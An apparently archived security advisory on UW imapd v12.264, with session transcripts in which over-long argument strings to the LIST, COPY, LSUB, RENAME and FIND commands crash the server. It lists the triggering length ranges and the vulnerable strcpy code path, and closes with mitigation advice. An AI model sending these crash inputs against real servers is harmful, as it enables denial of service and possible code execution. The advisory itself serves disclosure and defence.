Vulnerability

    imapd

Affected

    imapd4r1 v12.264 (imap-4.7 package from the UW)

Description

    Michal Zalewski found following.  Newest RH:

        OK nimue IMAP4rev1 v12.264 server ready
        1 login lcamtuf test
        1 OK LOGIN completed
        1 list "" AAAAAAAAAAAAAAAAAAAAAAAAAAA...[yes, a lot of 'A's ;]
        Program received signal SIGSEGV, Segmentation fault.
        0x41414141 in ?? ()

    Privledges seems to be dropped, but, anyway, it's nice way to  get
    shell access  to mail  account, maybe  grab some  data from memory
    etc.   It  is  believed  both  imap  and  ipopd packages need code
    security audit.

    To segfault  the number  of A's  has to  in the  range 1023 < #A >
    8180.  If the command line including CR/LF is longer than 8192  an
    error message is  displayed.  The  segfaults are in  the nntp, mh,
    news  and   dummy  driver.    In   all  modules   the   subroutine
    <name>_canonicalize  will  happily  strcpy  and  strcat  the  user
    supplied   arguments   to   fixed   size   buffers  with  normally
    MAILTMPLEN = 1024 bytes. Older version, imap-4.5-4 seems to be ok.

    Here's another buffer overflow in imapd.  This time security  flaw
    exist in standard rfc 1064 COPY command:

        OK mail IMAP4rev1 v12.264 server ready
        login siva9 secret
        OK LOGIN completed
        select inbox
        2 EXISTS
        0 RECENT
        OK [UIDVALIDITY 956162550] UID validity status
        OK [UIDNEXT 5] Predicted next UID
        FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
        OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent
        flags
        OK [UNSEEN 2] first unseen message in /var/spool/mail/siva9
        OK [READ-WRITE] SELECT completed
        copy 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... [a lot of A's]

    No answer.   Process has been  killed by SIGSEGV.   Number of  A's
    must be in range  from 1017 to 8180.   After LOGIN all  privileges
    are dropped,  but we  still have  possibility to  get unprivileged
    shell access.  This was tested against WU imapd v10.223,  v11.241,
    v12.250, v12.261, and v12.264.

    Here  comes  yet  another  buffer  overrun  (3  ones).   This time
    affected commands are LSUB, RENAME and FIND:

        OK mail IMAP4rev1 v12.264 server ready
        login siva9 secret
        OK LOGIN completed
        lsub "" AAAAAAAAAAAAA.... (#A 1024 - 8179)

        SIGSEGV received.

        OK localhost IMAP4rev1 v12.264 server ready
        login siva9 secret
        OK LOGIN completed
        rename inbox AAAAAAAAAAAAA.... (#A 1021 - 8174)

        SIGSEGV received.

        OK localhost IMAP4rev1 v12.264 server ready
        login siva9 secret
        OK LOGIN completed
        find all.mailboxes AAAAAAAAAAAAA.... (#A 1026 - 8168)

        SIGSEGV received.

    It seems that all two-argument commands in authenticated state -
    where second argument is string - are vulnerable.  ipop2/3d works
    fine in all states, also in transaction state.

Solution

    1) Deinstall the imap-uw  port/package, if you you  have installed
       it.
    2) If  you do  not specifically  require imap  functionality (i.e.
       pop2/pop3  is  sufficient)  then  disable  the  imap  daemon in
       /etc/inetd.conf  and  restart  inetd  (e.g.  with  the  command
       'killall -HUP inetd')

    Unfortunately the vulnerabilities in imapd are quite extensive and
    no patch is  currently available to  address them.   There is also
    no  "drop-in"  replacement  for  imap-uw  currently  available  in
    ports, although the mail/cyrus  port is another imap  server which
    may be a suitable replacement.  Cyrus has different  configuration
    and operational requirements than imap-uw however, which may  make
    it unsuitable for many users.

    Until a security audit of the imap-uw source can be completed  and
    the vulnerabilities patched, it  is recommended that operators  of
    "closed" imapd servers take steps to minimize the impact of  users
    being able  to run  code on  the server  (i.e., by  tightening the
    local security on the machine to minimize the damage an  intruding
    user can cause).